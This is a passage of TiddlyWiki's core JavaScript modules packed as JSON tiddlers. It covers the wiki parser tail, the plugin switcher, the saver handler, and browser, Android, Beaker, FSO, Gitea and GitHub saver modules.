this.pos;\n\t\t\tterminatorMatch = terminatorRegExp.exec(this.source);\n\t\t}\n\t}\n\t// Process the remaining text\n\tif(this.pos < this.sourceLength) {\n\t\tthis.pushTextWidget(tree,this.source.substr(this.pos));\n\t}\n\tthis.pos = this.sourceLength;\n\treturn tree;\n};\n\n/*\nPush a text widget onto an array, respecting the configTrimWhiteSpace setting\n*/\nWikiParser.prototype.pushTextWidget = function(array,text) {\n\tif(this.configTrimWhiteSpace) {\n\t\ttext = $tw.utils.trim(text);\n\t}\n\tif(text) {\n\t\tarray.push({type: \"text\", text: text});\t\t\n\t}\n};\n\n/*\nParse zero or more class specifiers `.classname`\n*/\nWikiParser.prototype.parseClasses = function() {\n\tvar classRegExp = /\\.([^\\s\\.]+)/mg,\n\t\tclassNames = [];\n\tclassRegExp.lastIndex = this.pos;\n\tvar match = classRegExp.exec(this.source);\n\twhile(match && match.index === this.pos) {\n\t\tthis.pos = match.index + match[0].length;\n\t\tclassNames.push(match[1]);\n\t\tmatch = classRegExp.exec(this.source);\n\t}\n\treturn classNames;\n};\n\n/*\nAmend the rules used by this instance of the parser\n\ttype: `only` keeps just the named rules, `except` keeps all but the named rules\n\tnames: array of rule names\n*/\nWikiParser.prototype.amendRules = function(type,names) {\n\tnames = names || [];\n\t// Define the filter function\n\tvar keepFilter;\n\tif(type === \"only\") {\n\t\tkeepFilter = function(name) {\n\t\t\treturn names.indexOf(name) !== -1;\n\t\t};\n\t} else if(type === \"except\") {\n\t\tkeepFilter = function(name) {\n\t\t\treturn names.indexOf(name) === -1;\n\t\t};\n\t} else {\n\t\treturn;\n\t}\n\t// Define a function to process each of our rule arrays\n\tvar processRuleArray = function(ruleArray) {\n\t\tfor(var t=ruleArray.length-1; t>=0; t--) {\n\t\t\tif(!keepFilter(ruleArray[t].rule.name)) {\n\t\t\t\truleArray.splice(t,1);\n\t\t\t}\n\t\t}\n\t};\n\t// Process each rule array\n\tprocessRuleArray(this.pragmaRules);\n\tprocessRuleArray(this.blockRules);\n\tprocessRuleArray(this.inlineRules);\n};\n\nexports[\"text/vnd.tiddlywiki\"] = WikiParser;\n\n})();\n\n",
"type": "application/javascript",
"module-type": "parser"
},
"$:/core/modules/parsers/wikiparser/rules/wikirulebase.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/wikirulebase.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/wikirulebase.js\ntype: application/javascript\nmodule-type: global\n\nBase class for wiki parser rules\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nThis constructor is always overridden with a blank constructor, and so shouldn't be used\n*/\nvar WikiRuleBase = function() {\n};\n\n/*\nTo be overridden by individual rules\n*/\nWikiRuleBase.prototype.init = function(parser) {\n\tthis.parser = parser;\n};\n\n/*\nDefault implementation of findNextMatch uses RegExp matching\n*/\nWikiRuleBase.prototype.findNextMatch = function(startPos) {\n\tthis.matchRegExp.lastIndex = startPos;\n\tthis.match = this.matchRegExp.exec(this.parser.source);\n\treturn this.match ? this.match.index : undefined;\n};\n\nexports.WikiRuleBase = WikiRuleBase;\n\n})();\n",
"type": "application/javascript",
"module-type": "global"
},
"$:/core/modules/pluginswitcher.js": {
"title": "$:/core/modules/pluginswitcher.js",
"text": "/*\\\ntitle: $:/core/modules/pluginswitcher.js\ntype: application/javascript\nmodule-type: global\n\nManages switching plugins for themes and languages.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\noptions:\nwiki: wiki store to be used\npluginType: type of plugin to be switched\ncontrollerTitle: title of tiddler used to control switching of this resource\ndefaultPlugins: array of default plugins to be used if nominated plugin isn't found\nonSwitch: callback when plugin is switched (single parameter is array of plugin titles)\n*/\nfunction PluginSwitcher(options) {\n\tthis.wiki = options.wiki;\n\tthis.pluginType = options.pluginType;\n\tthis.controllerTitle = options.controllerTitle;\n\tthis.defaultPlugins = options.defaultPlugins || [];\n\tthis.onSwitch = options.onSwitch;\n\t// Switch to the current plugin\n\tthis.switchPlugins();\n\t// Listen for changes to the selected plugin\n\tvar self = this;\n\tthis.wiki.addEventListener(\"change\",function(changes) {\n\t\tif($tw.utils.hop(changes,self.controllerTitle)) {\n\t\t\tself.switchPlugins();\n\t\t}\n\t});\n}\n\nPluginSwitcher.prototype.switchPlugins = function() {\n\t// Get the name of the current theme\n\tvar selectedPluginTitle = this.wiki.getTiddlerText(this.controllerTitle);\n\t// If it doesn't exist, then fallback to one of the default themes\n\tvar index = 0;\n\twhile(!this.wiki.getTiddler(selectedPluginTitle) && index < this.defaultPlugins.length) {\n\t\tselectedPluginTitle = this.defaultPlugins[index++];\n\t}\n\t// Accumulate the titles of the plugins that we need to load\n\tvar plugins = [],\n\t\tself = this,\n\t\taccumulatePlugin = function(title) {\n\t\t\tvar tiddler = self.wiki.getTiddler(title);\n\t\t\tif(tiddler && tiddler.isPlugin() && plugins.indexOf(title) === -1) {\n\t\t\t\tplugins.push(title);\n\t\t\t\tvar pluginInfo = JSON.parse(self.wiki.getTiddlerText(title)),\n\t\t\t\t\tdependents = $tw.utils.parseStringArray(tiddler.fields.dependents || \"\");\n\t\t\t\t$tw.utils.each(dependents,function(title) {\n\t\t\t\t\taccumulatePlugin(title);\n\t\t\t\t});\n\t\t\t}\n\t\t};\n\taccumulatePlugin(selectedPluginTitle);\n\t// Read the plugin info for the incoming plugins\n\tvar changes = $tw.wiki.readPluginInfo(plugins);\n\t// Unregister any existing theme tiddlers\n\tvar unregisteredTiddlers = $tw.wiki.unregisterPluginTiddlers(this.pluginType);\n\t// Register any new theme tiddlers\n\tvar registeredTiddlers = $tw.wiki.registerPluginTiddlers(this.pluginType,plugins);\n\t// Unpack the current theme tiddlers\n\t$tw.wiki.unpackPluginTiddlers();\n\t// Call the switch handler\n\tif(this.onSwitch) {\n\t\tthis.onSwitch(plugins);\n\t}\n};\n\nexports.PluginSwitcher = PluginSwitcher;\n\n})();\n",
"type": "application/javascript",
"module-type": "global"
},
"$:/core/modules/saver-handler.js": {
"title": "$:/core/modules/saver-handler.js",
"text": "/*\\\ntitle: $:/core/modules/saver-handler.js\ntype: application/javascript\nmodule-type: global\n\nThe saver handler tracks changes to the store and handles saving the entire wiki via saver modules.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nInstantiate the saver handler with the following options:\nwiki: wiki to be synced\ndirtyTracking: true if dirty tracking should be performed\n*/\nfunction SaverHandler(options) {\n\tvar self = this;\n\tthis.wiki = options.wiki;\n\tthis.dirtyTracking = options.dirtyTracking;\n\tthis.preloadDirty = options.preloadDirty || [];\n\tthis.pendingAutoSave = false;\n\t// Make a logger\n\tthis.logger = new $tw.utils.Logger(\"saver-handler\");\n\t// Initialise our savers\n\tif($tw.browser) {\n\t\tthis.initSavers();\n\t}\n\t// Only do dirty tracking if required\n\tif($tw.browser && this.dirtyTracking) {\n\t\t// Compile the dirty tiddler filter\n\t\tthis.filterFn = this.wiki.compileFilter(this.wiki.getTiddlerText(this.titleSyncFilter));\n\t\t// Count of changes that have not yet been saved\n\t\tvar filteredChanges = self.filterFn.call(self.wiki,function(iterator) {\n\t\t\t\t$tw.utils.each(self.preloadDirty,function(title) {\n\t\t\t\t\tvar tiddler = self.wiki.getTiddler(title);\n\t\t\t\t\titerator(tiddler,title);\n\t\t\t\t});\n\t\t});\n\t\tthis.numChanges = filteredChanges.length;\n\t\t// Listen out for changes to tiddlers\n\t\tthis.wiki.addEventListener(\"change\",function(changes) {\n\t\t\t// Filter the changes so that we only count changes to tiddlers that we care about\n\t\t\tvar filteredChanges = self.filterFn.call(self.wiki,function(iterator) {\n\t\t\t\t$tw.utils.each(changes,function(change,title) {\n\t\t\t\t\tvar tiddler = self.wiki.getTiddler(title);\n\t\t\t\t\titerator(tiddler,title);\n\t\t\t\t});\n\t\t\t});\n\t\t\t// Adjust the number of changes\n\t\t\tself.numChanges += filteredChanges.length;\n\t\t\tself.updateDirtyStatus();\n\t\t\t// Do any autosave if one is pending and there's no more change events\n\t\t\tif(self.pendingAutoSave && self.wiki.getSizeOfTiddlerEventQueue() === 0) {\n\t\t\t\t// Check if we're dirty\n\t\t\t\tif(self.numChanges > 0) {\n\t\t\t\t\tself.saveWiki({\n\t\t\t\t\t\tmethod: \"autosave\",\n\t\t\t\t\t\tdownloadType: \"text/plain\"\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\tself.pendingAutoSave = false;\n\t\t\t}\n\t\t});\n\t\t// Listen for the autosave event\n\t\t$tw.rootWidget.addEventListener(\"tm-auto-save-wiki\",function(event) {\n\t\t\t// Do the autosave unless there are outstanding tiddler change events\n\t\t\tif(self.wiki.getSizeOfTiddlerEventQueue() === 0) {\n\t\t\t\t// Check if we're dirty\n\t\t\t\tif(self.numChanges > 0) {\n\t\t\t\t\tself.saveWiki({\n\t\t\t\t\t\tmethod: \"autosave\",\n\t\t\t\t\t\tdownloadType: \"text/plain\"\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// Otherwise put ourselves in the \"pending autosave\" state and wait for the change event before we do the autosave\n\t\t\t\tself.pendingAutoSave = true;\n\t\t\t}\n\t\t});\n\t\t// Set up our beforeunload handler\n\t\t$tw.addUnloadTask(function(event) {\n\t\t\tvar confirmationMessage;\n\t\t\tif(self.isDirty()) {\n\t\t\t\tconfirmationMessage = $tw.language.getString(\"UnsavedChangesWarning\");\n\t\t\t\tevent.returnValue = confirmationMessage; // Gecko\n\t\t\t}\n\t\t\treturn confirmationMessage;\n\t\t});\n\t}\n\t// Install the save action handlers\n\tif($tw.browser) {\n\t\t$tw.rootWidget.addEventListener(\"tm-save-wiki\",function(event) {\n\t\t\tself.saveWiki({\n\t\t\t\ttemplate: event.param,\n\t\t\t\tdownloadType: \"text/plain\",\n\t\t\t\tvariables: event.paramObject\n\t\t\t});\n\t\t});\n\t\t$tw.rootWidget.addEventListener(\"tm-download-file\",function(event) {\n\t\t\tself.saveWiki({\n\t\t\t\tmethod: \"download\",\n\t\t\t\ttemplate: event.param,\n\t\t\t\tdownloadType: \"text/plain\",\n\t\t\t\tvariables: event.paramObject\n\t\t\t});\n\t\t});\n\t}\n}\n\nSaverHandler.prototype.titleSyncFilter = \"$:/config/SaverFilter\";\nSaverHandler.prototype.titleAutoSave = \"$:/config/AutoSave\";\nSaverHandler.prototype.titleSavedNotification = \"$:/language/Notifications/Save/Done\";\n\n/*\nSelect the appropriate saver modules and set them up\n*/\nSaverHandler.prototype.initSavers = function(moduleType) {\n\tmoduleType = moduleType || \"saver\";\n\t// Instantiate the available savers\n\tthis.savers = [];\n\tvar self = this;\n\t$tw.modules.forEachModuleOfType(moduleType,function(title,module) {\n\t\tif(module.canSave(self)) {\n\t\t\tself.savers.push(module.create(self.wiki));\n\t\t}\n\t});\n\t// Sort the savers into priority order\n\tthis.savers.sort(function(a,b) {\n\t\tif(a.info.priority < b.info.priority) {\n\t\t\treturn -1;\n\t\t} else {\n\t\t\tif(a.info.priority > b.info.priority) {\n\t\t\t\treturn +1;\n\t\t\t} else {\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t}\n\t});\n};\n\n/*\nSave the wiki contents. Options are:\n\tmethod: \"save\", \"autosave\" or \"download\"\n\ttemplate: the tiddler containing the template to save\n\tdownloadType: the content type for the saved file\n*/\nSaverHandler.prototype.saveWiki = function(options) {\n\toptions = options || {};\n\tvar self = this,\n\t\tmethod = options.method || \"save\";\n\t// Ignore autosave if disabled\n\tif(method === \"autosave\" && this.wiki.getTiddlerText(this.titleAutoSave,\"yes\") !== \"yes\") {\n\t\treturn false;\n\t}\n\tvar\tvariables = options.variables || {},\n\t\ttemplate = options.template || \"$:/core/save/all\",\n\t\tdownloadType = options.downloadType || \"text/plain\",\n\t\ttext = this.wiki.renderTiddler(downloadType,template,options),\n\t\tcallback = function(err) {\n\t\t\tif(err) {\n\t\t\t\talert($tw.language.getString(\"Error/WhileSaving\") + \":\\n\\n\" + err);\n\t\t\t} else {\n\t\t\t\t// Clear the task queue if we're saving (rather than downloading)\n\t\t\t\tif(method !== \"download\") {\n\t\t\t\t\tself.numChanges = 0;\n\t\t\t\t\tself.updateDirtyStatus();\n\t\t\t\t}\n\t\t\t\t$tw.notifier.display(self.titleSavedNotification);\n\t\t\t\tif(options.callback) {\n\t\t\t\t\toptions.callback();\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t// Call the highest priority saver that supports this method\n\tfor(var t=this.savers.length-1; t>=0; t--) {\n\t\tvar saver = this.savers[t];\n\t\tif(saver.info.capabilities.indexOf(method) !== -1 && saver.save(text,method,callback,{variables: {filename: variables.filename}})) {\n\t\t\tthis.logger.log(\"Saving wiki with method\",method,\"through saver\",saver.info.name);\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n};\n\n/*\nChecks whether the wiki is dirty (ie the window shouldn't be closed)\n*/\nSaverHandler.prototype.isDirty = function() {\n\treturn this.numChanges > 0;\n};\n\n/*\nUpdate the document body with the class \"tc-dirty\" if the wiki has unsaved/unsynced changes\n*/\nSaverHandler.prototype.updateDirtyStatus = function() {\n\tif($tw.browser) {\n\t\t$tw.utils.toggleClass(document.body,\"tc-dirty\",this.isDirty());\n\t}\n};\n\nexports.SaverHandler = SaverHandler;\n\n})();\n",
"type": "application/javascript",
"module-type": "global"
},
"$:/core/modules/savers/andtidwiki.js": {
"title": "$:/core/modules/savers/andtidwiki.js",
"text": "/*\\\ntitle: $:/core/modules/savers/andtidwiki.js\ntype: application/javascript\nmodule-type: saver\n\nHandles saving changes via the AndTidWiki Android app\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false, netscape: false, Components: false */\n\"use strict\";\n\nvar AndTidWiki = function(wiki) {\n};\n\nAndTidWiki.prototype.save = function(text,method,callback,options) {\n\tvar filename = options && options.variables ? options.variables.filename : null;\n\tif (method === \"download\") {\n\t\t// Support download\n\t\tif (window.twi.saveDownload) {\n\t\t\ttry {\n\t\t\t\twindow.twi.saveDownload(text,filename);\n\t\t\t} catch(err) {\n\t\t\t\tif (err.message === \"Method not found\") {\n\t\t\t\t\twindow.twi.saveDownload(text);\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tvar link = document.createElement(\"a\");\n\t\t\tlink.setAttribute(\"href\",\"data:text/plain,\" + encodeURIComponent(text));\n\t\t\tif (filename) {\n\t\t\t link.setAttribute(\"download\",filename);\n\t\t\t}\n\t\t\tdocument.body.appendChild(link);\n\t\t\tlink.click();\n\t\t\tdocument.body.removeChild(link);\n\t\t}\n\t} else if (window.twi.saveWiki) {\n\t\t// Direct save in Tiddloid\n\t\twindow.twi.saveWiki(text);\n\t} else {\n\t\t// Get the pathname of this document\n\t\tvar pathname = decodeURIComponent(document.location.toString().split(\"#\")[0]);\n\t\t// Strip the file://\n\t\tif(pathname.indexOf(\"file://\") === 0) {\n\t\t\tpathname = pathname.substr(7);\n\t\t}\n\t\t// Strip any query or location part\n\t\tvar p = pathname.indexOf(\"?\");\n\t\tif(p !== -1) {\n\t\t\tpathname = pathname.substr(0,p);\n\t\t}\n\t\tp = pathname.indexOf(\"#\");\n\t\tif(p !== -1) {\n\t\t\tpathname = pathname.substr(0,p);\n\t\t}\n\t\t// Save the file\n\t\twindow.twi.saveFile(pathname,text);\n\t}\n\t// Call the callback\n\tcallback(null);\n\treturn true;\n};\n\n/*\nInformation about this saver\n*/\nAndTidWiki.prototype.info = {\n\tname: \"andtidwiki\",\n\tpriority: 1600,\n\tcapabilities: [\"save\", \"autosave\", \"download\"]\n};\n\n/*\nStatic method that returns true if this saver is capable of working\n*/\nexports.canSave = function(wiki) {\n\treturn !!window.twi && !!window.twi.saveFile;\n};\n\n/*\nCreate an instance of this saver\n*/\nexports.create = function(wiki) {\n\treturn new AndTidWiki(wiki);\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "saver"
},
"$:/core/modules/savers/beaker.js": {
"title": "$:/core/modules/savers/beaker.js",
"text": "/*\\\ntitle: $:/core/modules/savers/beaker.js\ntype: application/javascript\nmodule-type: saver\n\nSaves files using the Beaker browser's (https://beakerbrowser.com) Dat protocol (https://datproject.org/)\nCompatible with beaker >= V0.7.2\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nSet up the saver\n*/\nvar BeakerSaver = function(wiki) {\n\tthis.wiki = wiki;\n};\n\nBeakerSaver.prototype.save = function(text,method,callback) {\n\tvar dat = new DatArchive(\"\" + window.location),\n\t\tpathname = (\"\" + window.location.pathname).split(\"#\")[0];\n\tdat.stat(pathname).then(function(value) {\n\t\tif(value.isDirectory()) {\n\t\t\tpathname = pathname + \"/index.html\";\n\t\t}\n\t\tdat.writeFile(pathname,text,\"utf8\").then(function(value) {\n\t\t\tcallback(null);\n\t\t},function(reason) {\n\t\t\tcallback(\"Beaker Saver Write Error: \" + reason);\n\t\t});\n\t},function(reason) {\n\t\tcallback(\"Beaker Saver Stat Error: \" + reason);\n\t});\n\treturn true;\n};\n\n/*\nInformation about this saver\n*/\nBeakerSaver.prototype.info = {\n\tname: \"beaker\",\n\tpriority: 3000,\n\tcapabilities: [\"save\", \"autosave\"]\n};\n\n/*\nStatic method that returns true if this saver is capable of working\n*/\nexports.canSave = function(wiki) {\n\treturn !!window.DatArchive && location.protocol===\"dat:\";\n};\n\n/*\nCreate an instance of this saver\n*/\nexports.create = function(wiki) {\n\treturn new BeakerSaver(wiki);\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "saver"
},
"$:/core/modules/savers/download.js": {
"title": "$:/core/modules/savers/download.js",
"text": "/*\\\ntitle: $:/core/modules/savers/download.js\ntype: application/javascript\nmodule-type: saver\n\nHandles saving changes via HTML5's download APIs\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nSelect the appropriate saver module and set it up\n*/\nvar DownloadSaver = function(wiki) {\n};\n\nDownloadSaver.prototype.save = function(text,method,callback,options) {\n\toptions = options || {};\n\t// Get the current filename\n\tvar filename = options.variables.filename;\n\tif(!filename) {\n\t\tvar p = document.location.pathname.lastIndexOf(\"/\");\n\t\tif(p !== -1) {\n\t\t\t// We decode the pathname because document.location is URL encoded by the browser\n\t\t\tfilename = decodeURIComponent(document.location.pathname.substr(p+1));\n\t\t}\n\t}\n\tif(!filename) {\n\t\tfilename = \"tiddlywiki.html\";\n\t}\n\t// Set up the link\n\tvar link = document.createElement(\"a\");\n\tif(Blob !== undefined) {\n\t\tvar blob = new Blob([text], {type: \"text/html\"});\n\t\tlink.setAttribute(\"href\", URL.createObjectURL(blob));\n\t} else {\n\t\tlink.setAttribute(\"href\",\"data:text/html,\" + encodeURIComponent(text));\n\t}\n\tlink.setAttribute(\"download\",filename);\n\tdocument.body.appendChild(link);\n\tlink.click();\n\tdocument.body.removeChild(link);\n\t// Callback that we succeeded\n\tcallback(null);\n\treturn true;\n};\n\n/*\nInformation about this saver\n*/\nDownloadSaver.prototype.info = {\n\tname: \"download\",\n\tpriority: 100\n};\n\nObject.defineProperty(DownloadSaver.prototype.info, \"capabilities\", {\n\tget: function() {\n\t\tvar capabilities = [\"save\", \"download\"];\n\t\tif(($tw.wiki.getTextReference(\"$:/config/DownloadSaver/AutoSave\") || \"\").toLowerCase() === \"yes\") {\n\t\t\tcapabilities.push(\"autosave\");\n\t\t}\n\t\treturn capabilities;\n\t}\n});\n\n/*\nStatic method that returns true if this saver is capable of working\n*/\nexports.canSave = function(wiki) {\n\treturn document.createElement(\"a\").download !== undefined;\n};\n\n/*\nCreate an instance of this saver\n*/\nexports.create = function(wiki) {\n\treturn new DownloadSaver(wiki);\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "saver"
},
"$:/core/modules/savers/fsosaver.js": {
"title": "$:/core/modules/savers/fsosaver.js",
"text": "/*\\\ntitle: $:/core/modules/savers/fsosaver.js\ntype: application/javascript\nmodule-type: saver\n\nHandles saving changes via MS FileSystemObject ActiveXObject\n\nNote: Since TiddlyWiki's markup contains the MOTW, the FileSystemObject normally won't be available. \nHowever, if the wiki is loaded as an .HTA file (Windows HTML Applications) then the FSO can be used.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nSelect the appropriate saver module and set it up\n*/\nvar FSOSaver = function(wiki) {\n};\n\nFSOSaver.prototype.save = function(text,method,callback) {\n\t// Get the pathname of this document\n\tvar pathname = unescape(document.location.pathname);\n\t// Test for a Windows path of the form /x:\\blah...\n\tif(/^\\/[A-Z]\\:\\\\[^\\\\]+/i.test(pathname)) {\t// ie: ^/[a-z]:/[^/]+\n\t\t// Remove the leading slash\n\t\tpathname = pathname.substr(1);\n\t} else if(document.location.hostname !== \"\" && /^\\/\\\\[^\\\\]+\\\\[^\\\\]+/i.test(pathname)) {\t// test for \\\\server\\share\\blah... - ^/[^/]+/[^/]+\n\t\t// Remove the leading slash\n\t\tpathname = pathname.substr(1);\n\t\t// reconstruct UNC path\n\t\tpathname = \"\\\\\\\\\" + document.location.hostname + pathname;\n\t} else {\n\t\treturn false;\n\t}\n\t// Save the file (as UTF-16)\n\tvar fso = new ActiveXObject(\"Scripting.FileSystemObject\");\n\tvar file = fso.OpenTextFile(pathname,2,-1,-1);\n\tfile.Write(text);\n\tfile.Close();\n\t// Callback that we succeeded\n\tcallback(null);\n\treturn true;\n};\n\n/*\nInformation about this saver\n*/\nFSOSaver.prototype.info = {\n\tname: \"FSOSaver\",\n\tpriority: 120,\n\tcapabilities: [\"save\", \"autosave\"]\n};\n\n/*\nStatic method that returns true if this saver is capable of working\n*/\nexports.canSave = function(wiki) {\n\ttry {\n\t\treturn (window.location.protocol === \"file:\") && !!(new ActiveXObject(\"Scripting.FileSystemObject\"));\n\t} catch(e) { return false; }\n};\n\n/*\nCreate an instance of this saver\n*/\nexports.create = function(wiki) {\n\treturn new FSOSaver(wiki);\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "saver"
},
"$:/core/modules/savers/gitea.js": {
"title": "$:/core/modules/savers/gitea.js",
"text": "/*\\\ntitle: $:/core/modules/savers/gitea.js\ntype: application/javascript\nmodule-type: saver\n\nSaves wiki by pushing a commit to the gitea\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nSelect the appropriate saver module and set it up\n*/\nvar GiteaSaver = function(wiki) {\n\tthis.wiki = wiki;\n};\n\nGiteaSaver.prototype.save = function(text,method,callback) {\n\tvar self = this,\n\t\tusername = this.wiki.getTiddlerText(\"$:/Gitea/Username\"),\n\t\tpassword = $tw.utils.getPassword(\"Gitea\"),\n\t\trepo = this.wiki.getTiddlerText(\"$:/Gitea/Repo\"),\n\t\tpath = this.wiki.getTiddlerText(\"$:/Gitea/Path\",\"\"),\n\t\tfilename = this.wiki.getTiddlerText(\"$:/Gitea/Filename\"),\n\t\tbranch = this.wiki.getTiddlerText(\"$:/Gitea/Branch\") || \"master\",\n\t\tendpoint = this.wiki.getTiddlerText(\"$:/Gitea/ServerURL\") || \"https://gitea\",\n\t\theaders = {\n\t\t\t\"Accept\": \"application/json\",\n\t\t\t\"Content-Type\": \"application/json;charset=UTF-8\",\n\t\t\t\"Authorization\": \"Basic \" + window.btoa(username + \":\" + password)\n\t\t};\n\t// Bail if we don't have everything we need\n\tif(!username || !password || !repo || !path || !filename) {\n\t\treturn false;\n\t}\n\t// Make sure the path start and ends with a slash\n\tif(path.substring(0,1) !== \"/\") {\n\t\tpath = \"/\" + path;\n\t}\n\tif(path.substring(path.length - 1) !== \"/\") {\n\t\tpath = path + \"/\";\n\t}\n\t// Compose the base URI\n\tvar uri = endpoint + \"/repos/\" + repo + \"/contents\" + path;\n\t// Perform a get request to get the details (inc shas) of files in the same path as our file\n\t$tw.utils.httpRequest({\n\t\turl: uri,\n\t\ttype: \"GET\",\n\t\theaders: headers,\n\t\tdata: {\n\t\t\tref: branch\n\t\t},\n\t\tcallback: function(err,getResponseDataJson,xhr) {\n\t\t\tvar getResponseData,sha = \"\";\n\t\t\tif(err && xhr.status !== 404) {\n\t\t\t\treturn callback(err);\n\t\t\t}\n\t\t\tvar use_put = true;\n\t\t\tif(xhr.status !== 404) {\n\t\t\t\tgetResponseData = JSON.parse(getResponseDataJson);\n\t\t\t\t$tw.utils.each(getResponseData,function(details) {\n\t\t\t\t\tif(details.name === filename) {\n\t\t\t\t\t\tsha = details.sha;\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t\tif(sha === \"\"){\n\t\t\t\t\tuse_put = false;\n\t\t\t\t}\n\t\t\t}\n\t\t\tvar data = {\n\t\t\t\tmessage: $tw.language.getRawString(\"ControlPanel/Saving/GitService/CommitMessage\"),\n\t\t\t\tcontent: $tw.utils.base64Encode(text),\n\t\t\t\tsha: sha\n\t\t\t};\n\t\t\t$tw.utils.httpRequest({\n\t\t\t\turl: endpoint + \"/repos/\" + repo + \"/branches/\" + branch,\n\t\t\t\ttype: \"GET\",\n\t\t\t\theaders: headers,\n\t\t\t\tcallback: function(err,getResponseDataJson,xhr) {\n\t\t\t\t\tif(xhr.status === 404) {\n\t\t\t\t\t\tcallback(\"Please ensure the branch in the Gitea repo exists\");\n\t\t\t\t\t}else{\n\t\t\t\t\t\tdata[\"branch\"] = branch;\n\t\t\t\t\t\tself.upload(uri + filename, use_put?\"PUT\":\"POST\", headers, data, callback);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t});\n\treturn true;\n};\n\nGiteaSaver.prototype.upload = function(uri,method,headers,data,callback) {\n\t$tw.utils.httpRequest({\n\t\turl: uri,\n\t\ttype: method,\n\t\theaders: headers,\n\t\tdata: JSON.stringify(data),\n\t\tcallback: function(err,putResponseDataJson,xhr) {\n\t\t\tif(err) {\n\t\t\t\treturn callback(err);\n\t\t\t}\n\t\t\tvar putResponseData = JSON.parse(putResponseDataJson);\n\t\t\tcallback(null);\n\t\t}\n\t});\n};\n\n/*\nInformation about this saver\n*/\nGiteaSaver.prototype.info = {\n\tname: \"Gitea\",\n\tpriority: 2000,\n\tcapabilities: [\"save\", \"autosave\"]\n};\n\n/*\nStatic method that returns true if this saver is capable of working\n*/\nexports.canSave = function(wiki) {\n\treturn true;\n};\n\n/*\nCreate an instance of this saver\n*/\nexports.create = function(wiki) {\n\treturn new GiteaSaver(wiki);\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "saver"
},
"$:/core/modules/savers/github.js": {
"title": "$:/core/modules/savers/github.js",
"text": "/*\\\ntitle: $:/core/modules/savers/github.js\ntype: application/javascript\nmodule-type: saver\n\nSaves wiki by pushing a commit to the GitHub v3 REST API\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nSelect the appropriate saver module and set it up\n*/\nvar GitHubSaver = function(wiki) {\n\tthis.wiki = wiki;\n};\n\nGitHubSaver.prototype.save = function(text,method,callback) {\n\tvar self = this,\n\t\tusername = this.wiki.getTiddlerText(\"$:/GitHub/Username\"),\n\t\tpassword = $tw.utils.getPassword(\"github\"),\n\t\trepo = this.wiki.getTiddlerText(\"$:/GitHub/Repo\"),\n\t\tpath = this.wiki.getTiddlerText(\"$:/GitHub/Path\",\"\"),\n\t\tfilename = this.wiki.getTiddlerText(\"$:/GitHub/Filename\"),\n\t\tbranch = this.wiki.getTiddlerText(\"$:/GitHub/Branch\") || \"master\",\n\t\tendpoint = this.wiki.getTiddlerText(\"$:/GitHub/ServerURL\") || \"https://api.github.com\",\n\t\theaders = {\n\t\t\t\"Accept\": \"application/vnd.github.v3+json\",\n\t\t\t\"Content-Type\": \"application/json;charset=UTF-8\",\n\t\t\t\"Authorization\": \"Basic \" + window.btoa(username + \":\" + password)\n\t\t};\n\t// Bail if we don't have everything we need\n\tif(!username || !password || !repo || !path || !filename) {\n\t\treturn false;\n\t}\n\t// Make sure the path start and ends with a slash\n\tif(path.substring(0,1) !== \"/\") {\n\t\tpath = \"/\" + path;\n\t}\n\tif(path.substring(path.length - 1) !== \"/\") {\n\t\tpath = path + \"/\";\n\t}\n\t// Compose the base URI\n\tvar uri = endpoint + \"/repos/\" + repo + \"/contents\" + path;\n\t// Perform a get request to get the details (inc shas) of files in the same path as our file\n\t$tw.utils.httpRequest({\n\t\turl: uri,\n\t\ttype: \"GET\",\n\t\theaders: headers,\n\t\tdata: {\n\t\t\tref: branch\n\t\t},\n\t\tcallback: function(err,getResponseDataJson,xhr) {\n\t\t\tvar getResponseData,sha = \"\";\n\t\t\tif(err && xhr.status !== 404) {\n\t\t\t\treturn callback(err);\n\t\t\t}\n\t\t\tif(xhr.status !== 404) {\n\t\t\t\tgetResponseData = JSON.parse(getResponseDataJson);\n\t\t\t\t$tw.utils.each(getResponseData,function(details) {\n\t\t\t\t\tif(details.name === filename) {\n\t\t\t\t\t\tsha = details.sha;\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\t\t\tvar data = {\n\t\t\t\tmessage: $tw.language.getRawString(\"ControlPanel/Saving/GitService/CommitMessage\"),\n\t\t\t\tcontent: $tw.utils.base64Encode(text),\n\t\t\t\tbranch: branch,\n\t\t\t\tsha: sha\n\t\t\t};\n\t\t\t// Perform a PUT request to save the file\n\t\t\t$tw.utils.httpRequest({\n\t\t\t\turl: uri + filename,\n\t\t\t\ttype: \"PUT\",\n\t\t\t\theaders: headers,\n\t\t\t\tdata: JSON.stringify(data),\n\t\t\t\tcallback: function(err,putResponseDataJson,xhr) {\n\t\t\t\t\tif(err) {\n\t\t\t\t\t\treturn 